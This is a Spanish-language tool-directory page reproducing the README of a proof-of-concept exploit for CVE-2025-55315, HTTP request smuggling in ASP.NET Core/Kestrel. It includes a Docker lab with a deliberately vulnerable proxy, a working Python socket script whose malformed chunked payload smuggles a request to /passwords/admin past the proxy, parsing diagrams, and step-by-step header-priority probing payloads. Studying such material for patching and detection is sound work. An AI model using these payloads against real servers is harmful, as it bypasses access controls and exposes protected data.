Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55315 — Exploit de prueba de concepto para CVE-2025-55315 (HTTP Request Smuggling en .NET). Demuestra cómo la codificación fragmentada mal analizada permite a atacantes pasar solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables. | Kitploit
Herramientas/GitHubGitHub/martinfabianionut/cve-2025-55315
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Ver Repositorio
14hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Exploit de prueba de concepto para CVE-2025-55315 (HTTP Request Smuggling en .NET). Demuestra cómo la codificación fragmentada mal analizada permite a atacantes pasar solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables.

Compartir

CVE-2025-55315

Explotación de prueba de concepto para CVE-2025-55315 (Contrabando de solicitudes HTTP en .NET). Demuestra cómo la codificación fragmentada (chunked encoding) mal interpretada permite a atacantes introducir solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables.

📊 Presentación

Ver presentación interactiva en Prezi

Prezi Presentation

🎥 Haz clic en la insignia de arriba para ver la presentación interactiva completa en Prezi

Estructura del Proyecto

  • Api - API consolidada de ASP.NET Core con dos Dockerfiles:
    • Dockerfile.vulnerable - Usa .NET 10.0.100-rc.1 (vulnerable a CVE-2025-55315)
    • Dockerfile.patched - Usa .NET 10.0.100 (versión parcheada)
  • PythonProxy - Proxy vulnerable utilizado para la demostración del exploit de CVE-2025-55315 (favorece Content-Length sobre Transfer-Encoding)
  • YarpProxy - Proxy inverso YARP para probar balanceo de carga (no parte del exploit)

Nota: La vulnerabilidad está en el analizador HTTP del runtime de .NET (Kestrel), no en el código de la aplicación. Ambas versiones usan código fuente idéntico pero diferentes versiones del runtime de .NET.

Inicio Rápido

# Construir y ejecutar todos los servicios
docker-compose up --build

# Acceder a los servicios
# API insegura: http://localhost:5001
# API segura: http://localhost:5002
# Proxy Python (exploit): http://localhost:5027
# Proxy YARP (balanceo de carga): http://localhost:5028

Consulta DOCKER.md para instrucciones detalladas de uso de Docker.

Demostración del Exploit

El proxy Python demuestra CVE-2025-55315 al favorecer Content-Length sobre Transfer-Encoding, permitiendo el contrabando de solicitudes HTTP:

payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Leer todos los datos disponibles
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Respuesta Completa ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Comprobando respuesta de solicitud de contrabando ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ ¡Solicitud de contrabando a /passwords/admin exitosa!")
    else:
        print("✗ Exploit falló o fue bloqueado")

Este payload introduce una segunda solicitud a /passwords/admin evadiendo la verificación de seguridad del proxy, explotando la discrepancia en cómo el proxy y el servidor backend analizan la solicitud.

Interpretación Visual de la Solicitud

A continuación, se muestra cómo el proxy y el servidor backend interpretan el mismo payload de manera diferente:

INTERPRETACIÓN DEL PROXY (Acepta \n como terminación de línea válida):

flowchart TD
    subgraph Proxy_Request_1 ["🔴 Solicitud 1 - Vista del Proxy"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>cabecera de fragmento (acepta \n)</i>"]
        PCB1["<b>xx</b><br/><i>cuerpo del fragmento - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>cabecera de fragmento</i>"]
        PCB2["<i>cuerpo del fragmento - 57 bytes</i><br/>(contiene solicitud de contrabando)"]
        PLK["<b>0</b><br/><i>último fragmento</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignorado por el Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(El proxy cree que esto es parte del cuerpo del fragmento)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

INTERPRETACIÓN DEL BACKEND (Rechaza \n, requiere \r\n):

flowchart TD
    subgraph Backend_Request_1 ["🟢 Solicitud 1 - Vista del Backend"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (inválido - parte de cabeceras)<br/><b>xx</b> (cabeceras terminan aquí)"]
        BCB1["<b>39</b><br/><i>cuerpo del fragmento</i>"]
        BLK1["<b>0</b><br/><i>último fragmento</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Solicitud 2 - Vista del Backend"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>último fragmento</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px

Diferencias Clave:

ComponenteTamaño de Fragmento 2;\nBytes LeídosQué Sucede
Proxy✅ Tamaño de fragmento válido2 bytes (xx)Trata 2;\n como cabecera completa de fragmento, lee 2 bytes, continúa al siguiente fragmento
Backend❌ Terminación de línea inválidaSigue leyendo como fragmento de tamaño 2La cabecera del fragmento no termina hasta xx\r\n, por lo que 39 se convierte en el cuerpo del fragmento, 0 termina el fragmento

Explicación Detallada:

  • Proxy: Acepta 2;\n como una declaración de tamaño de fragmento válida (2 bytes) → Lee xx como el cuerpo del fragmento de 2 bytes → Pasa al siguiente fragmento (39)
  • Backend: Rechaza \n como terminación de línea → El tamaño del fragmento sigue siendo 2 pero la cabecera se extiende hasta 2;\nxx\r\n → Lee 39 como parte del cuerpo del fragmento → 0\r\n termina el fragmento
  • Resultado: La solicitud de contrabando GET /passwords/admin está oculta en lo que el backend trata como datos de fragmento, pero se analiza como una solicitud separada después de que el procesamiento de fragmentos finaliza

La solicitud de contrabando GET /passwords/admin está oculta en lo que el proxy cree que son datos del cuerpo del fragmento, pero el backend la analiza como una solicitud HTTP separada.

Identificando la Vulnerabilidad

Antes de explotar, necesitas identificar qué cabecera HTTP (Content-Length o Transfer-Encoding) favorece cada componente. Aquí tienes una guía paso a paso:

Paso 1: Probar la Prioridad de Cabeceras

Envía una solicitud con ambas cabeceras Content-Length y Transfer-Encoding: chunked para ver cuál respeta cada componente:

POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Análisis:

  • Si el servidor procesa "Fa" (2 bytes) → Favorece Content-Length
  • Si el servidor procesa "Fabian" (cuerpo fragmentado completo) → Favorece Transfer-Encoding

Paso 2: Probar Cada Componente

Prueba todos los componentes en tu arquitectura para encontrar discrepancias:

Probar API Insegura (Puerto 5001)

# Usando Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)
Descargar herramienta